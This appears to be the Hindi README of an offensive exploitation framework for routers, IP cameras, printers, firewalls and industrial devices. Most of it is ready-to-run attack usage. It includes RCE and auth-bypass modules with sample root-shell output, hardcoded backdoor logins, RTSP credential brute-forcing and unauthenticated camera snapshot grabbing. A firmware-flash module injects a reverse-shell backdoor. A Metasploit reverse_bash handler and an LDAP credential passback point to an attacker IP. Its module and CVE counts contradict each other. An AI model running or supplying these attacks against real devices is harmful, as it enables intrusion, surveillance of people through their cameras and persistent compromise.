
एम्बेडेड डिवाइस सुरक्षा मूल्यांकन फ्रेमवर्क — 700 मॉड्यूल, 350 CVE, 55 विक्रेता, APT Group Engine। राउटर, IP कैमरे, GPON ONT, ISP CPE, IoT/एम्बेडेड एज को कवर करता है।
प्लेटफ़ॉर्म नोट: यह फ़्रेमवर्क मुख्य रूप से Linux (Debian/Ubuntu/Kali) पर डिज़ाइन और परीक्षण किया गया है। अधिकांश हार्डवेयर-निर्भर मॉड्यूल (वायरलेस एडाप्टर, USB डिवाइस, रॉ सॉकेट एक्सेस, फ़र्मवेयर टूल) के लिए Linux आवश्यक है। Windows या macOS पर चलाने से कई मॉड्यूल में त्रुटियाँ या सीमित कार्यक्षमता हो सकती है। अधिकतम संगतता के लिए Linux की दृढ़ता से अनुशंसा की जाती है।
एम्बेडेड और परिधि सुरक्षा मूल्यांकन फ़्रेमवर्क
EmbedXPL-Forge एक ओपन-सोर्स एक्सप्लॉइटेशन और स्कैनिंग फ़्रेमवर्क है जो सुरक्षा पेशेवरों के लिए राउटर, स्विच, IP कैमरा, NVR/DVR, GPON ONT, ISP CPE, प्रिंटर, IoT, OT/ICS, और एम्बेडेड एज डिवाइस का ऑडिट करता है। यह 2800+ सक्रिय मॉड्यूल प्रदान करता है जो क्रेडेंशियल परीक्षण, भेद्यता शोषण, नेटवर्क स्कैनिंग, पेलोड जनरेशन, RTSP कैमरा हमले, फ़र्मवेयर हेरफेर, बहु-भाषा PolyExploit ऑर्केस्ट्रेशन, और एक पूर्ण प्रिंटर शस्त्रागार को कवर करता है — साथ में 114+ विक्रेताओं में मैप किए गए 700+ CVE और एक APT Group Attack Engine जो वास्तविक दुनिया की राष्ट्र-राज्य हमला श्रृंखलाओं को पुन: उत्पन्न करता है।
संस्करण: 3.2.0
pip install embedxpl[nse])नेटवर्क / राउटर / CPE: 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL
कैमरा / NVR / DVR: Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · Cisco कैमरा · Geuterbruck · Honeywell कैमरा · Jovision · Siemens कैमरा · Xiongmai (OEM) · Zivif · MVPower DVR · जेनेरिक P2P WiFi कैमरा · जेनेरिक DVR/NVR OEM
प्रिंटर / MFP: HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · जेनेरिक IPP/PJL/LPD/CUPS/WSD
NAS / VPN / फ़ायरवॉल / सुरक्षा: QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent
ICS / OT / रोबोटिक्स: Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP
स्मार्ट होम / समुद्री / एम्बेडेड OS: eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (समुद्री) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen
pip install embedxpl embedxpl
### विकल्प 2 — Nmap NSE स्क्रिप्ट्स के साथ```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"
# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install
# Verify installation
python -m embedxpl.nse list
नोट: Linux/macOS पर install चरण को
/usr/share/nmap/scripts/में लिखने के लिएsudoकी आवश्यकता हो सकती है। चलाएँ:sudo python -m embedxpl.nse install
git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge chmod +x setup_venv.sh run.sh ./setup_venv.sh # creates .venv (PEP 668 safe) ./run.sh # recommended launcher
.venv/bin/python -m embedxpl.nse install
### विकल्प 4 — Python मॉड्यूल```bash
pip install embedxpl
python -m embedxpl
pip install embedxpl
embedxpl
embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1
embedxpl -c "discover 192.168.1.0/24"
embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100
## उपयोग
### इंटरैक्टिव शेल```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run
exf > apt list
exf > apt show apt28
exf > apt search mikrotik
exf > apt run apt28
exf > apt run apt28 0
### नेटवर्क डिस्कवरी```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover
# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1
# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh
Discovery एक बहु-चरणीय पाइपलाइन का उपयोग करता है: ARP sweep → Nmap (बहु-विधि होस्ट प्रोब) → Scapy → TCP connect fallback। परिणामों को मॉड्यूल कैटलॉग से मिलाया जाता है और विक्रेता/मॉडल द्वारा फ़िल्टर किया जाता है। IEEE OUI डेटाबेस (embedxpl/data/oui.txt) MAC पतों को विक्रेताओं में ऑनलाइन-प्रथम लुकअप और स्थानीय फ़ॉलबैक के साथ हल करता है। जब कोई होस्ट WiFi क्षमताएँ प्रदर्शित करता है, तो टूल वायरलेस-विशिष्ट हमलों के लिए WirelessXPL-Forge की सिफारिश करता है।
टाइमिंग प्रोफ़ाइल (T0–T5) Nmap परंपराओं को दर्शाती हैं:
exf > sessions list
exf > sessions show 192.168.1.1
exf > sessions export 192.168.1.1
exf > sessions delete 192.168.1.1
exf > sessions purge
सत्र `~/.exf_sessions/` में JSON के रूप में संग्रहीत होते हैं, जो IP+MAC के SHA-256 द्वारा keyed होते हैं। किसी ज्ञात होस्ट की पुनः खोज पर, पहले से परीक्षण किए गए मॉड्यूल `[Tested]` के रूप में दिखाए जाते हैं और डिफ़ॉल्ट रूप से छोड़ दिए जाते हैं।
### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run
पूर्ण-सुविधा वाली RTSP आक्रमण पाइपलाइन जिसमें Python-नेटिव कार्यान्वयन शामिल है और सभी मानक RTSP ट्रांसपोर्ट मोड को कवर करती है।
from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream
scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])
attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts)
for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True
**अपेक्षित आउटपुट:**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3
hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])
**अपेक्षित इनपुट/आउटपुट:**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])
# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]
इसका उपयोग तब किया जाता है जब कैमरे HTTP प्रॉक्सी या कॉर्पोरेट फ़ायरवॉल के पीछे हों जो TCP/554 को ब्लॉक करते हैं।```python from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel
tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" )
client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")
**अपेक्षित इनपुट/आउटपुट:**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
status = 200
server = "Hikvision IP Camera NVRA (V5.4.5)"
methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"
embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options
Option Default Description
target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery
embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run
## Nmap NSE स्क्रिप्ट्स
EmbedXPL-Forge में IoT/कैमरा स्कैनिंग और CVE डिटेक्शन के लिए 7 कस्टम Nmap NSE स्क्रिप्ट्स शामिल हैं।
### इंस्टॉलेशन```bash
# Install with NSE extras
pip install "embedxpl[nse]"
# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install
# Force overwrite existing scripts
python -m embedxpl.nse install --force
# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts
अपेक्षित आउटपुट:``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse
Installed: 7 script(s) [OK] nmap --script-updatedb complete
### सूची / जानकारी```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover
embedxpl-rtsp-discover — RTSP सेवा खोजRTSP सेवाओं का पता लगाता है, Server: बैनर प्राप्त करता है, विक्रेता की पहचान करता है, समर्थित विधियों की सूची बनाता है, और ज्ञात CVE का क्रॉस-रेफ़रेंस करता है।```bash
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24
**अपेक्षित आउटपुट:**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
| Status : 200
| Server : Hikvision IP Camera NVRA (V5.4.5)
| Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
| Vendor : Hikvision
| Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
| EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_ Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack
embedxpl-camera-identify — गहन कैमरा फिंगरप्रिंटिंगबहु-प्रोटोकॉल पहचान: HTTP/HTTPS वेब UI, RTSP बैनर, और ONVIF की जाँच करता है। विक्रेता, मॉडल, फर्मवेयर, सीरियल, और MAC निकालता है।```bash nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24
**अपेक्षित आउटपुट (Hikvision):**```
80/tcp open http
| embedxpl-camera-identify:
| Protocol : HTTP (HTTP 200)
| Vendor : Hikvision
| Model : DS-2CD2143G0-I
| Firmware : V5.6.2 build 190401
| Serial : DS-2CD2143G0-I20190401AAWRA123456789
| CVEs : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
| Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
| EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_ Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
embedxpl-hikvision-vuln — Hikvision CVE चेकरCVE-2021-36260 (RCE via /SDK/webLanguage, CVSS 9.8) और CVE-2017-7921 (auth bypass snapshot) का सक्रिय सत्यापन।```bash
nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100
nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24
**अपेक्षित आउटपुट:**```
80/tcp open http
| embedxpl-hikvision-vuln:
| Device : DS-2CD2143G0-I
| Firmware : V5.3.0 build 170112
| CVE-2021-36260 : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
| CVE-2017-7921 : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
| EmbedXPL RCE module : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_ Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
embedxpl-dahua-vuln — Dahua CVE चेकरCVE-2021-33044 (ऑथ बायपास, CVSS 9.8), CVE-2020-25078 (उपयोगकर्ता प्रकटीकरण), CVE-2013-6117 (लेगेसी DVR) का परीक्षण करता है। Dahua OEMs को भी कवर करता है: Amcrest, Intelbras, TVT, Jovision, ANNKE।```bash nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24
**अपेक्षित आउटपुट:**```
80/tcp open http
| embedxpl-dahua-vuln:
| Vendor : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
| CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
| CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
| CVE-2013-6117 : NOT VULNERABLE
| EmbedXPL Auth Bypass : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
| EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_ Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
embedxpl-rtsp-creds — RTSP डिफ़ॉल्ट क्रेडेंशियल टेस्टरBasic auth का उपयोग करके 9+ सामान्य RTSP रूट्स पर 18 डिफ़ॉल्ट क्रेडेंशियल जोड़ों का परीक्षण करता है। पहले मैच की रिपोर्ट करता है।```bash nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100
nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100
**अपेक्षित आउटपुट:**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
| Server : Hikvision IP Camera NVRA
| Credential found : admin: (empty password)
| Stream URL : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
| Auth type : Basic
| Response code : 200
| EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_ Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack
embedxpl-iot-cve-check — मल्टी-वेंडर CVE फिंगरप्रिंटHikvision, Dahua, D-Link NAS, Reolink, Uniview, QNAP, SonicWall, और GPON में 10 सक्रिय CVE का पता लगाता और सत्यापन करता है।```bash nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24
**अपेक्षित आउटपुट:**```
80/tcp open http
| embedxpl-iot-cve-check:
| CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
| → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| CVE-2021-33044 (Dahua, CVSS 9.8) : NOT VULNERABLE — HTTP 404
| EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_ Full exploitation: pip install embedxpl && embedxpl
embedxpl-camera-snapshot — अनधिकृत स्नैपशॉट एक्सेस16 विक्रेता-विशिष्ट स्नैपशॉट एंडपॉइंट्स की जाँच करता है। बिना क्रेडेंशियल्स के image/* लौटाने वाले किसी भी URL की रिपोर्ट करता है। वैकल्पिक रूप से JPEG फ़ाइलें स्थानीय रूप से सहेजता है।```bash
nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100
nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24
**अपेक्षित आउटपुट:**```
80/tcp open http
| embedxpl-camera-snapshot:
| Endpoint 1 (Dahua):
| URL : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
| Content-Type : image/jpeg
| Size : 45231 bytes
| Access : UNAUTHENTICATED SNAPSHOT ACCESS
| EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_ Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all
python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554
**अनइंस्टॉल करें:**```bash
python -m embedxpl.nse uninstall
embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run
**यह क्या करता है:**
1. फर्मवेयर प्रारूप का पता लगाता है (TRX, DLOB, SEAMA, WRGG, रॉ बाइनरी)
2. उपयुक्त ऑफ़सेट पर रिवर्स शेल बैकडोर इंजेक्ट करता है
3. CRC32/MD5 चेकसम की पुनर्गणना करता है
4. विक्रेता-विशिष्ट फ्लैश एंडपॉइंट के माध्यम से अपलोड करता है (जहाँ लागू हो वहाँ प्रमाणीकरण को बायपास करता है)
5. डिवाइस रीबूट की प्रतीक्षा करता है और बैकडोर निष्पादन को सत्यापित करता है
## PolyExploit Orchestrator
शुद्ध Python में पोर्ट करने योग्य नहीं ऐसे एक्सप्लॉइट के लिए रनटाइम C/C++ कंपाइलेशन और बहु-भाषा स्क्रिप्ट निष्पादन को सक्षम बनाता है।
### C/C++ रनटाइम कंपाइलेशन```python
from embedxpl.core.poly import CCompiler
compiler = CCompiler()
# Check available compilers
print(compiler.compiler_available()) # {'gcc': True, 'clang': False, 'mingw': False}
# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
// Stack overflow PoC
char buf[64];
memcpy(buf, argv[1], atoi(argv[2]));
return 0;
}
""",
arch="x86", # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)
# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)
from embedxpl.core.poly import PolyRunner
runner = PolyRunner() print(runner.available_runtimes())
result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"])
runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", })
results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"])
## v3.1.0 में नया — CVE 2026/2025/2024 + प्रिंटर डोमेन + क्वालिटी गेट्स
**54 नए मॉड्यूल** प्रिंटर, एम्बेडेड OS, ICS/OT, स्मार्ट होम, मैरीटाइम IoT, और 2026 Pwn2Own चेन में। मुख्य विशेषताएँ:
### 2026 Pwn2Own चेन```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed
# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run
exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run
exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run
exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root)
exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root)
exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run
exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run
### प्रिंटर आर्सेनल उदाहरण```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS : READY
INFO PAGECOUNT : 12847
INFO MEMORY : 512000 BYTES
# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run
# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication
लेगेसी और आधुनिक SOHO राउटरों में फैक्ट्री पासवर्ड, हार्डकोडेड बैकडोर, डिफ़ॉल्ट WPA कुंजी जनरेशन एल्गोरिदम, और DNS हाईजैक CSRF वेक्टरों को लक्षित करने वाले 27+ एक्सप्लॉइट मॉड्यूल। प्रमुख उदाहरण:```
exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b
exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l
exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root❌0:0:root:/root:/bin/sh ...
exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b
exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ...
exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi
exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/
**सभी 27 नए विक्रेता/मॉड्यूल:**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · साथ ही belkin, netgear, trendnet गैप-फिल्स।
## मॉड्यूल संरचना```
embedxpl/
├── core/
│ ├── rtsp/ # RTSP camera engine
│ │ ├── client.py # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│ │ ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│ │ ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│ │ └── models.py # RTSPStream dataclass, AuthType enum
│ └── poly/
│ ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│ └── runner.py # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│ ├── creds/ # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│ ├── exploits/
│ │ ├── cameras/ # IP camera exploits by vendor
│ │ │ ├── multi/ # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│ │ │ ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│ │ │ ├── dahua/ # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│ │ │ ├── axis/ # Axis (CVE-2018-10660, ...)
│ │ │ ├── reolink/ # Reolink (CVE-2021-40655, CVE-2022-30600)
│ │ │ ├── amcrest/ # Amcrest (CVE-2019-3950)
│ │ │ ├── uniview/ # Uniview UNV (CVE-2024-37630)
│ │ │ ├── tapo/ # TP-Link Tapo (CVE-2021-4045)
│ │ │ ├── annke/ # ANNKE DVR/NVR (CVE-2021-32941)
│ │ │ ├── swann/ # Swann DVR/NVR (default creds + RTSP)
│ │ │ └── edimax/ # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│ │ ├── firmware/ # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
